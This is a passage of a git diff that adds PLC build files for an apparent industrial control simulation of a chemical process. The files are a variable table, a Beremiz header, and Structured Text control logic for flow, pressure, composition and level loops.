+340;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB32_OUT;REAL; +341;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.MUL33_OUT;REAL; +342;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.SUB30_OUT;REAL; +343;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;CONFIG0.RES0.INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT;REAL; +344;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT;CONFIG0.RES0.INSTANCE0.RUN_BIT;BOOL; +345;VAR;CONFIG0.RES0.INSTANCE0.RUN_BIT0;CONFIG0.RES0.INSTANCE0.RUN_BIT0;BOOL; +346;FB;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0;INITIALIZE_SP; +347;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.EN;BOOL; +348;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.ENO;BOOL; +349;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP_C;UINT; +350;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP_C;UINT; +351;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP_C;UINT; +352;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP_C;UINT; +353;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C;UINT; +354;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.FLOW_SP;UINT; +355;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.A_SP;UINT; +356;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.PRESS_SP;UINT; +357;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.OVER_SP;UINT; +358;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.LEVEL_SP;UINT; +359;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE3_OUT;UINT; +360;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE7_OUT;UINT; +361;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE11_OUT;UINT; +362;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE15_OUT;UINT; +363;VAR;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;CONFIG0.RES0.INSTANCE0.INITIALIZE_SP0.MOVE19_OUT;UINT; +364;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;CONFIG0.RES0.INSTANCE0.MOVE99_ENO;BOOL; +365;VAR;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;CONFIG0.RES0.INSTANCE0.MOVE99_OUT;UINT; +366;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;CONFIG0.RES0.INSTANCE0.MOVE4_ENO;BOOL; +367;VAR;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;CONFIG0.RES0.INSTANCE0.MOVE4_OUT;UINT; +368;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;CONFIG0.RES0.INSTANCE0.MOVE5_ENO;BOOL; +369;VAR;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;CONFIG0.RES0.INSTANCE0.MOVE5_OUT;UINT; +370;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;CONFIG0.RES0.INSTANCE0.MOVE7_ENO;BOOL; +371;VAR;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;CONFIG0.RES0.INSTANCE0.MOVE7_OUT;UINT; + + +// Ticktime +50000000 diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h new file mode 100644 index 0000000..dd65176 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/beremiz.h @@ -0,0 +1,30 @@ +#ifndef _BEREMIZ_H_ +#define _BEREMIZ_H_ + +/* Beremiz' header file for use by extensions */ + +#include "iec_types.h" + +#define LOG_LEVELS 4 +#define LOG_CRITICAL 0 +#define LOG_WARNING 1 +#define LOG_INFO 2 +#define LOG_DEBUG 3 + +extern unsigned long long common_ticktime__; + +#ifdef TARGET_LOGGING_DISABLE +static inline int LogMessage(uint8_t level, char* buf, uint32_t size) +{ + (void)level; + (void)buf; + (void)size; + return 0; +} +#else +int LogMessage(uint8_t level, char* buf, uint32_t size); +#endif + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange); + +#endif diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so new file mode 100755 index 0000000..bc7c666 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/chemical.so Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st new file mode 100644 index 0000000..09e07a5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/generated_plc.st @@ -0,0 +1,479 @@ +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR + run_bit AT %QX5.0 : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + MOVE99_ENO : BOOL; + MOVE99_OUT : UINT; + MOVE4_ENO : BOOL; + MOVE4_OUT : UINT; + MOVE5_ENO : BOOL; + MOVE5_OUT : UINT; + MOVE7_ENO : BOOL; + MOVE7_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + MOVE99_OUT := MOVE(EN := run_bit, IN := 0, ENO => MOVE99_ENO); + IF MOVE99_ENO THEN + f1_valve_sp := MOVE99_OUT; + END_IF; + MOVE4_OUT := MOVE(EN := MOVE99_ENO, IN := 0, ENO => MOVE4_ENO); + IF MOVE4_ENO THEN + f2_valve_sp := MOVE4_OUT; + END_IF; + MOVE5_OUT := MOVE(EN := MOVE4_ENO, IN := 65535, ENO => MOVE5_ENO); + IF MOVE5_ENO THEN + purge_valve_sp := MOVE5_OUT; + END_IF; + MOVE7_OUT := MOVE(EN := MOVE5_ENO, IN := 65535, ENO => MOVE7_ENO); + IF MOVE7_ENO THEN + product_valve_sp := MOVE7_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 new file mode 100644 index 0000000..696d5fd --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/lastbuildPLC.md5 @@ -0,0 +1 @@ +81603cc6aa5246c5832cb83ffc8de1bd \ No newline at end of file diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st new file mode 100644 index 0000000..a0d6f59 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/plc.st @@ -0,0 +1,573 @@ +TYPE + LOGLEVEL : (CRITICAL, WARNING, INFO, DEBUG) := INFO; +END_TYPE + +FUNCTION_BLOCK LOGGER + VAR_INPUT + TRIG : BOOL; + MSG : STRING; + LEVEL : LOGLEVEL := INFO; + END_VAR + VAR + TRIG0 : BOOL; + END_VAR + + IF TRIG AND NOT TRIG0 THEN + {{ + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + }} + END_IF; + TRIG0:=TRIG; +END_FUNCTION_BLOCK + + + +FUNCTION_BLOCK python_eval + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_poll + VAR_INPUT + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + STATE : DWORD; + BUFFER : STRING; + PREBUFFER : STRING; + TRIGM1 : BOOL; + TRIGGED : BOOL; + END_VAR + + {extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__);} +END_FUNCTION_BLOCK + +FUNCTION_BLOCK python_gear + VAR_INPUT + N : UINT; + TRIG : BOOL; + CODE : STRING; + END_VAR + VAR_OUTPUT + ACK : BOOL; + RESULT : STRING; + END_VAR + VAR + py_eval : python_eval; + COUNTER : UINT; + ADD10_OUT : UINT; + EQ13_OUT : BOOL; + SEL15_OUT : UINT; + AND7_OUT : BOOL; + END_VAR + + ADD10_OUT := ADD(COUNTER, 1); + EQ13_OUT := EQ(N, ADD10_OUT); + SEL15_OUT := SEL(EQ13_OUT, ADD10_OUT, 0); + COUNTER := SEL15_OUT; + AND7_OUT := AND(EQ13_OUT, TRIG); + py_eval(TRIG := AND7_OUT, CODE := CODE); + ACK := py_eval.ACK; + RESULT := py_eval.RESULT; +END_FUNCTION_BLOCK + + +FUNCTION_BLOCK scale_to_real + VAR_INPUT + raw_input_value : UINT; + END_VAR + VAR_OUTPUT + scaled_real : REAL; + END_VAR + VAR_INPUT + real_max : REAL; + real_min : REAL; + END_VAR + VAR + raw_max : UINT := 65535; + raw_min : UINT := 0; + rate : REAL; + offset : REAL; + END_VAR + + rate := (real_max - real_min) / UINT_TO_REAL(raw_max - raw_min); + offset := real_min - UINT_TO_REAL(raw_min)*rate; + scaled_real := UINT_TO_REAL(raw_input_value)*rate + offset; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_uint + VAR_INPUT + real_in : REAL; + END_VAR + VAR_OUTPUT + uint_out : UINT; + END_VAR + VAR + DIV1_OUT : REAL; + MUL4_OUT : REAL; + REAL_TO_UINT6_OUT : UINT; + END_VAR + + DIV1_OUT := DIV(real_in, 100.0); + MUL4_OUT := MUL(DIV1_OUT, 65535.0); + REAL_TO_UINT6_OUT := REAL_TO_UINT(MUL4_OUT); + uint_out := REAL_TO_UINT6_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK composition_control + VAR + a_in_purge_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_in_purge : UINT := 32000; + END_VAR + VAR + a_setpoint_real : REAL := 47.00; + END_VAR + VAR_INPUT + a_setpoint : UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 30801; + press_sp_c : UINT := 55295; + over_sp_c : UINT := 31675; + level_sp_c : UINT := 28835; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := 